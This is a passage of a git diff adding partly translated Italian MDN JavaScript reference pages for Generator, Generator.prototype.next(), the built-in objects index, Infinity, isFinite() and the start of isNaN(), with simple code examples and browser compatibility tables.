+
+
+<p>{{Compat("javascript.builtins.Function.length")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/generator/index.html b/files/it/web/javascript/reference/global_objects/generator/index.html
new file mode 100644
index 0000000000..b950dd8216
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/generator/index.html
@@ -0,0 +1,187 @@
+---
+title: Generator
+slug: Web/JavaScript/Reference/Global_Objects/Generator
+tags:
+  - ECMAScript 2015
+  - Generator
+  - JavaScript
+  - Legacy Generator
+  - Legacy Iterator
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator
+---
+<div>{{JSRef}}</div>
+
+<p>The <code><strong>Generator</strong></code> object is returned by a {{jsxref("Statements/function*", "generator function", "", 1)}} and it conforms to both the <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">iterable protocol</a> and the <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">iterator protocol</a>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"</pre>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("Generator.prototype.next()")}}</dt>
+ <dd>Returns a value yielded by the {{jsxref("Operators/yield", "yield")}} expression.</dd>
+ <dt>{{jsxref("Generator.prototype.return()")}}</dt>
+ <dd>Returns the given value and finishes the generator.</dd>
+ <dt>{{jsxref("Generator.prototype.throw()")}}</dt>
+ <dd>Throws an error to a generator.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="An_infinite_iterator">An infinite iterator</h3>
+
+<pre class="brush: js">function* idMaker() {
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = idMaker(); // "Generator { }"
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="Legacy_generator_objects">Legacy generator objects</h2>
+
+<p>Firefox (SpiderMonkey) also implements an earlier version of generators in <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a>, where the star (*) in the function declaration was not necessary (you just use the <code>yield</code> keyword in the function body). However, legacy generators are deprecated. Do not use them; they are going to be removed ({{bug(1083482)}}).</p>
+
+<h3 id="Legacy_generator_methods">Legacy generator methods</h3>
+
+<dl>
+ <dt><code>Generator.prototype.next() </code>{{non-standard_inline}}</dt>
+ <dd>Returns a value yielded by the {{jsxref("Operators/yield", "yield")}} expression. This corresponds to <code>next()</code> in the ES2015 generator object.</dd>
+ <dt><code>Generator.prototype.close()</code> {{non-standard_inline}}</dt>
+ <dd>Closes the generator, so that when calling <code>next()</code> an {{jsxref("StopIteration")}} error will be thrown. This corresponds to the <code>return()</code> method in the ES2015 generator object.</dd>
+ <dt><code>Generator.prototype.send()</code> {{non-standard_inline}}</dt>
+ <dd>Used to send a value to a generator. The value is returned from the {{jsxref("Operators/yield", "yield")}} expression, and returns a value yielded by the next {{jsxref("Operators/yield", "yield")}} expression. <code>send(x)</code> corresponds to <code>next(x)</code> in the ES2015 generator object.</dd>
+ <dt><strong><code>Generator.</code></strong><code>prototype.</code><strong><code>throw()</code> </strong> {{non-standard_inline}}</dt>
+ <dd>Throws an error to a generator. This corresponds to the <code>throw()</code> method in the ES2015 generator object.</dd>
+</dl>
+
+<h3 id="Legacy_generator_example">Legacy generator example</h3>
+
+<pre class="brush: js">function* fibonacci() {
+  var a = yield 1;
+  yield a * 2;
+}
+
+var it = fibonacci();
+console.log(it);          // "Generator {  }"
+console.log(it.next());   // 1
+console.log(it.send(10)); // 20
+console.log(it.close());  // undefined
+console.log(it.next());   // throws StopIteration (as the generator is now closed)
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<h3 id="Legacy_generators">Legacy generators</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "The legacy generator function", "", 1)}}</li>
+ <li>{{jsxref("Operators/Legacy_generator_function", "The legacy generator function expression", "", 1)}}</li>
+ <li>{{jsxref("StopIteration")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li>
+</ul>
+
+<h3 id="ES2015_generators">ES2015 generators</h3>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/generator/next/index.html b/files/it/web/javascript/reference/global_objects/generator/next/index.html
new file mode 100644
index 0000000000..03408534d5
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/generator/next/index.html
@@ -0,0 +1,157 @@
+---
+title: Generator.prototype.next()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/next
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/next
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo  <code><strong>next</strong></code><strong><code>()</code></strong> ritorna un oggetto con due  proprietà  <code>done</code> and <code>value</code>. Puoi anche fornire un parametro al metodo next per trasmettere un valore al generatore.</p>
+
+<h2 id="Syntassi">Syntassi</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.next(value)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Il valore trasmesso al generatore</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Oggetto</a> con due proprietà:</p>
+
+<ul>
+ <li><code>done</code> (boolean)
+
+  <ul>
+   <li>Ha il valore  <code>true</code>  se l' iteratore è oltre  la fine  della sequenza iterata. In questo caso   <code>value</code> opzionalmente  specifica <em>il valore di ritorno</em> dell' iteratore.</li>
+   <li>Ha il valore <code>false</code> se l'iteratore è stato capace di generare il valore successivo nella sequenza. Questo equivale nello non specificare la proprietà  done interamente.</li>
+  </ul>
+ </li>
+ <li><code>value</code> -  ogni valore Javascript ritornato dall'iteratore. Può essere omesso quando done è true</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_next()">Using <code>next()</code></h3>
+
+<p><font face="Consolas, Liberation Mono, Courier, monospace">Il seguente esempio mostra semplice generatore e un oggetto che il metodo next ritorna:</font></p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"
+g.next();      // "Object { value: 1, done: false }"
+g.next();      // "Object { value: 2, done: false }"
+g.next();      // "Object { value: 3, done: false }"
+g.next();      // "Object { value: undefined, done: true }"
+</pre>
+
+<h3 id="Mandare_valori_al_generatore">Mandare valori al generatore</h3>
+
+<p>In questo esempio, next è stato chiamato con un valore. Nota che la prima chiamata non ha registrato nulla, perche il generatore non ha raccolto nulla inizialmente. </p>
+
+<p> </p>
+
+<pre class="brush: js">function* gen() {
+  while(true) {
+    var value = yield null;
+    console.log(value);
+  }
+}
+
+var g = gen();
+g.next(1);
+// "{ value: null, done: false }"
+g.next(2);
+// "{ value: null, done: false }"
+// 2
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>13</td>
+   <td>{{CompatGeckoDesktop(26)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(26)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterators and generators</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/index.html b/files/it/web/javascript/reference/global_objects/index.html
new file mode 100644
index 0000000000..3cddb3fc08
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/index.html
@@ -0,0 +1,182 @@
+---
+title: Standard built-in objects
+slug: Web/JavaScript/Reference/Global_Objects
+tags:
+  - JavaScript
+  - Refernce
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>Questo capitolo documenta tutti gli oggetti standard predefiiti di JavaScript, con i loro metodi e le loro proprietà.</p>
+
+<p>Il termine "oggetti globali" (o oggetti standard predefiniti) non va confuso con il termine <em>oggetto globale</em>. In questa documentazione, "oggetti globali" si riferisce agli <em>oggetti nel contesto globale</em> (ma solo se non viene utilizzata la modalità strict di ECMAScript5, altrimenti restituisce {{jsxref("Global_Objects/undefined", "undefined")}}). Si piuò accedere all'<em>oggetto globale</em> usando l'operatore {{jsxref("Operators/this", "this")}} nel contesto globale. Infatti il contesto globale consiste nell'insieme di tutte le properietà dell'<em>oggetto globale</em>.</p>
+
+<p>Altri oggetti nel contesto globale possono essere <a href="/it/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">creati dallo script</a> o dall'applicazione utilizzata (ad esempio, un browser). Gli oggetti forniti dal browser sono documentati nella sezione <a href="/it/docs/Web/API/Reference">API reference</a>. Per altre informazioni riguardo la differenza tra il <a href="/it/docs/DOM/DOM_Reference">DOM</a> e <a href="/it/docs/Web/JavaScript">JavaScript</a> base, vedi la <a href="/it/docs/Web/JavaScript/JavaScript_technologies_overview">panoramica sulle tecnologie JavaScript</a>.</p>
+
+<div class="onlyinclude">
+<h2 id="Oggetti_standard_(per_categoria)">Oggetti standard (per categoria)</h2>
+
+<h3 id="Valori">Valori</h3>
+
+<p>Varabili globali che rappresentano un valore semplice, non hanno altre proprietà o metodi.</p>
+
+<ul>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}} literal</li>
+</ul>
+
+<h3 id="Funzioni">Funzioni</h3>
+
+<p>Queste funzioni globali che vengono richiamate direttamente restituiscono direttamente il risultato al chiamante</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+ <li>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</li>
+ <li>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</li>
+</ul>
+
+<h3 id="Oggetti_fondamentali">Oggetti fondamentali</h3>
+
+<p>Oggetti generali di Javascrpt, sui quali sono basati tutti gli altri oggetti. Rappresentano oggetti, funzioni ed errori.</p>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError")}}</li>
+ <li>{{jsxref("InternalError")}}</li>
+ <li>{{jsxref("RangeError")}}</li>
+ <li>{{jsxref("ReferenceError")}}</li>
+ <li>{{jsxref("SyntaxError")}}</li>
+ <li>{{jsxref("TypeError")}}</li>
+ <li>{{jsxref("URIError")}}</li>
+</ul>
+
+<h3 id="Numeri_e_date">Numeri e date</h3>
+
+<p>Oggetti usati per rappresentare numeri, date e calcoli matematici.</p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("Math")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
+
+<h3 id="Elaborazione_del_testo">Elaborazione del testo</h3>
+
+<p>Oggetti che rappresentano le stringe o il supporto per manipolarle.</p>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="Collezioni_ordinate">Collezioni ordinate</h3>
+
+<p>Questi oggetti rappresentano delle collezioni di dati che sono ordinati secondo un indice. Includono array tipizzati ed costruttori simili ad array.</p>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+</ul>
+
+<h3 id="Collezioni_chiave-valore">Collezioni chiave-valore</h3>
+
+<p>Oggetti che rappresentano collezzioni che usano delle chiavi per identificarne gli elementi; si può iterare attraverso gli elementi nell'ordine in cui sono stati inseriti.</p>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
+
+<h3 id="Dati_strutturati">Dati strutturati</h3>
+
+<p>Oggetti che rappresentano e interagiscono con buffer di dati e con dati codificati utilizzando <em>JavaScript Object Notation</em> (JSON).</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Atomics")}} {{experimental_inline}}</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("JSON")}}</li>
+</ul>
+
+<h3 id="Oggetti_di_controllo_dell'astrazione">Oggetti di controllo dell'astrazione</h3>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Generator")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{experimental_inline}} {{jsxref("AsyncFunction")}}</li>
+</ul>
+
+<h3 id="Reflection">Reflection</h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
+
+<h3 id="Internazionalizzazione">Internazionalizzazione</h3>
+
+<p>Oggetti aggiunti a ECMAScript per le funzionalità che dipendono dalla lingua.</p>
+
+<ul>
+ <li>{{jsxref("Intl")}}</li>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
+
+<p> </p>
+
+<h3 id="WebAssembly">WebAssembly</h3>
+
+<ul>
+ <li>{{jsxref("WebAssembly")}}</li>
+ <li>{{jsxref("WebAssembly.Module")}}</li>
+ <li>{{jsxref("WebAssembly.Instance")}}</li>
+ <li>{{jsxref("WebAssembly.Memory")}}</li>
+ <li>{{jsxref("WebAssembly.Table")}}</li>
+ <li>{{jsxref("WebAssembly.CompileError")}}</li>
+ <li>{{jsxref("WebAssembly.LinkError")}}</li>
+ <li>{{jsxref("WebAssembly.RuntimeError")}}</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Altro">Altro</h3>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}}</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/it/web/javascript/reference/global_objects/infinity/index.html b/files/it/web/javascript/reference/global_objects/infinity/index.html
new file mode 100644
index 0000000000..48b983e107
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/infinity/index.html
@@ -0,0 +1,114 @@
+---
+title: Infinity
+slug: Web/JavaScript/Reference/Global_Objects/Infinity
+translation_of: Web/JavaScript/Reference/Global_Objects/Infinity
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La proprietà globale <strong><code>Infinity</code></strong> è un valore numerico che rappresenta l'infinito.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Infinity </code></pre>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p><code>Infinity</code> è una proprietà dell'<em>oggetto globale</em>, ossia una variabile nell'ambito globale.</p>
+
+<p>Il valore iniziale di <code>Infinity</code> è {{jsxref("Number.POSITIVE_INFINITY")}}. Il valore <code>Infinity</code> (infinito positivo) è maggiore di ogni altro numero. Matematicamente questo valore si comporta come l'infinito: per esempio, qualsiasi numero positivo moltipilicato per <code>Infinity</code> è uguale a <code>Infinity</code>, e qualsiasi numero diviso per <code>Infinity</code> è uguale a 0.</p>
+
+<p>Secondo la specifica ECMAScript5, <code>Infinity</code> è accessibile in sola lettura (implementato in JavaScript 1.8.5 / Firefox 4).</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.2', 'Infinity')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/isfinite/index.html b/files/it/web/javascript/reference/global_objects/isfinite/index.html
new file mode 100644
index 0000000000..ee250b9410
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/isfinite/index.html
@@ -0,0 +1,136 @@
+---
+title: isFinite()
+slug: Web/JavaScript/Reference/Global_Objects/isFinite
+translation_of: Web/JavaScript/Reference/Global_Objects/isFinite
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La funzione globale <strong><code>isFinite()</code></strong> determina se il parametro passatole è un numero finito. Se necessario, il parametro viene prima convertito in un valore numerico.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox">isFinite(<em>number</em>)</pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><font face="Consolas, Monaco, Andale Mono, monospace">number</font></dt>
+ <dd>Il valore da controllare che sia finito.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p><code>isFinite</code> è una funzione globale.</p>
+
+<p>Puoi usare questa funzione per determinare se un numero è finito. La funzione <code>isFinite</code> restituisce <code>false</code> se il valore passatole è {{jsxref("NaN")}}, {{jsxref("Infinity")}} (infinito positivo) o <code>-</code>{{jsxref("Infinity")}} (infinito negativo); altrimenti restituisce <code>true</code>.</p>
+
+<h2 id="Examples" name="Examples">Esempi</h2>
+
+<pre class="brush: js">isFinite(Infinity);  // false
+isFinite(NaN);       // false
+isFinite(-Infinity); // false
+
+isFinite(0);         // true
+isFinite(2e64);      // true
+
+
+isFinite("0");       // true, perché `"0"` viene convertito
+                     //       in un valore numerico, quindi
+                     //       in `0` e poi valutato.
+                     //       La funzione Number.isFinite("0"),
+                     //       più robusta, restituirebbe false.
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 2nd Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/isnan/index.html b/files/it/web/javascript/reference/global_objects/isnan/index.html
new file mode 100644
index 0000000000..db6ebc85d8
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/isnan/index.html
@@ -0,0 +1,176 @@
+---
+title: isNaN()
+slug: Web/JavaScript/Reference/Global_Objects/isNaN
+translation_of: Web/JavaScript/Reference/Global_Objects/isNaN
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La funzione <strong><code>isNaN()</code></strong> determina se un valore è {{jsxref("NaN")}} o no.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> le conversioni di tipo nella funzione <code>isNaN</code> seguono delle regole {{jsxref("Global_Objects/isNaN", "particolari", "#Description", 1)}}: alternativamente per determinare se un valore non è un numero si può usare la funzione {{jsxref("Number.isNaN()")}}, definito in ECMAScript 6, o l'operatore {{jsxref("Operators/typeof", "typeof")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code>isNaN(<em>number</em>)</code></pre>
+
